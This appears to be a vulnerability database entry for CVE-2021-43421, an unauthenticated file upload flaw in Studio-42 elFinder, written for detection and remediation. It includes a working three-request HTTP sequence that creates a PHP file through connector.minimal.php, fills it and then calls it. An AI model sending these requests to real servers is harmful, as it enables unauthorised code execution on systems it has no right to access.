🔙 목록으로 돌아가기

CVE-2021-43421: Studio-42 elFinder <2.1.60 - Arbitrary File Upload

TitleStudio-42 elFinder <2.1.60 - Arbitrary File Upload
Authorakincibor
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to upload malicious files to the server and execute arbitrary code.
RemediationUpgrade to the latest version of Studio-42 elFinder plugin (2.1.60 or higher) to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.7657
CVE IDCVE-2021-43421
CWE IDCWE-434
Tags cve cve2021 elfinder fileupload rce intrusive std42 vuln

🔍 Vulnerability Description

Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.

🌐 HTTP Request

GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=38FOBfGznuKWexyjGsQwfTsBcJn.php:aaa HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Accept: */*
Accept-Encoding: gzip
GET /elFinder/php/connector.minimal.php?cmd=put&target=eFWw7w&content=38FOBZnuxYPOsVQegLVr0HzdPeM HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: close
Accept-Encoding: gzip
GET /elfinder/files/38FOBfGznuKWexyjGsQwfTsBcJn.php%3Aaaa?_t HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.5
Connection: close
Accept: */*
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43421.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-43421.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A